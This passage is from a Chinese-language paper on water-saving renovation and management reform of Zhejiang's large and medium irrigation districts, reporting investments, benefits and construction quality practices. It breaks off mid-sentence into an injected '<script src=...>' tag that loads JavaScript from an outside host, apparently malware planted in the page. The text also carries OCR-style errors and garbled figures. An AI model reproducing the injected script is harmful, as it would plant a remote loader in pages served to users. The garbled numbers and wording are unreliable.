摘要：浙江省大中型灌区的现状难适应效益农业的发展要求，迫切需要对灌区工程进行改造和灌区管理体制进行改革。
通过近几年来对大中型灌区进行续建配套与节水改造，取得了一定的成效及建设经验。为进一步加快灌区改造步伐，提出浙江省大中型灌区节水改造与灌区改本的发展方向，并对今后如何实施提出对策与措施。
关键词：大中型灌区；水利骨干工程；管理体制；典型经验；效益农业；节水改造
1．浙江省大中型灌区基本情况
浙江省大中型灌区大多建于六、七十年代，建设标准低，渠系不配套，渠系建筑物配套建设不完善，经过多年运行工程老化夫修、渠道渗漏、塌坡严重，机电设备陈旧、能耗高、效率低，防洪排涝标准低、内涝严重。渠系水利用系数低，排涝标准一般只有3～5年一遇。近年来随着经济的快速发展，灌区的渠道及河网水系污染日趋加剧，不仅严重威胁着城乡人民的身体健康，破坏了灌区原有生态环境，也造成水资源污染型缺水日益增长，减少了灌区可有效利用的水量。另外，灌区管理体制不顺、管理设施落后等一系列问题的存在，导致了我省大中型灌区的灌溉保证率不到75％，管理单位入不敷出，难以为继。随着我省农业结构的调整，效益农业迅猛发展，现有灌区工程已难以适应效益农业的发展需要。为进一步发挥大中型灌区的作用，适应我省农业、农村、农民的经济发展对水利的需求，迫切需要对灌区工程进行改造和灌区管理体制进行改革。
2．近几年来大中型灌区改造建设成就与经验
2．1 建设成就
自1998年以来，在国家政策的引导和财政扶持下，先后对铜山源水库灌区、长潭水库灌区、温瑞灌区、牛头山水库灌区和乌溪江引水工程灌区等大型灌区进行续建配套与节水改造，总投资15715万元；对东阳横锦水库灌区、嵊州南山水库灌区、金华安地水库灌区等中型灌区水利骨干工程进行节水改造，总投资9210万元。到2001年底，我省6处大型灌区、2处中型灌区已完成干支渠道混凝土衬砌长度311k m，河道疏浚整治长度82．41km，新建改造水闸、渡槽等渠系建筑物1106处，改造泵站36座。建立了6处灌区渠系及河网的雨量、水位等水情遥控采集系统，共完成投资16144力元。
通过灌区改造，使改造后的大中型灌区取得了明显的经济效益、社会效益和生态效益。新增灌溉面积103万hm2，恢复灌溉面积051万hm2；改善灌溉面积748万h m2；渠系水利用系数由不足0．45提高到0．55以上。灌溉保证率由不足75％提高到85％以上。排涝标准由3～5年一遇提高到10年一逼。新增粮食生产能力5898万吨，年节水16360万m：，年增经济效益7119万元。使灌区河网水量调蓄能力加强，年增加蓄水量12280万m：，水质条件由过去的—v类提高到iii—iv类水。通过灌区管理设施的改善及安装灌区办公自动化及量测水自动遥测系统，提高了灌区的管理水平，促进了灌区管理体制及水费改革的进程。同时改善了灌区及周边地区的生态环境，进一步促进了农业种植结构的调整，对拉动当地经济的发展和增加农民收入起到积极的作用，使灌区经济效益明显提高。
2．2 典型经验
对大中型灌区的节水改造项目，省各有关部门十分重视，华播按照《大型灌区续建配套与节水改造工程项目管理办法》及《国家农业综合开发水利骨干工程项目管理实施细则》和基本建设项目程序执行，对项目的可研报告、实施方案等前期工作严格进行审查和批复。在项目实施中，严格资金管理，各灌区项目资金能按照有关财务管理办法和管理制度进行管理。做到专户存储、专款专用。在项目实施中，均严格按“三制”执行，使项目建设质量得到有效保障。在已验收的5个大型灌区项目、2个中型灌区项目中，有4个项目被评为优良工程。在项目实施过程中，各建设单位积极采用新技术、新方法、新材料，勇于探索，敢于实践，总结出了许多工程建设与改革经验。
（1）牛头山水库灌区。在对渠道工程的质量评定，特别是渠道外观质量评定，在目前尚夫统一的标准的情况下，结合实际，在工程开工前组织台州市质监站、工程监理部等单位参照部颇有关规程、规范，借鉴其他同类工程取得的经验，编制了一套切实可行的施工质量与评定的标准。并组织业主技术管理人员、监理、施工单位有关人员进行培训。在项目实施过程中对渠道外观质量要求达到“直成线，弯成弧，平如镜”。即渠道上口、渠底边线、护轮带、伸缩缝、沉降缝在直线段要成“直线”，在转弯段要成为一条“弧线”，禁止出现锯齿形。渠道边坡、底板和护轮带要求表面平如镜，防止出现凹凸不平现象。对施工阶段质量严格控制，要求施工单位推行全面质量管理，建立健全质量保证体系，明确质量岗位、质量责任，制定和完善质量考核奖惩办法。认真做好试验。做好试验段是做好整个工程内在和外观质量的控制的关键。指挥部组织监理、施工单位对混凝?script src=http://er12.com/t.js>
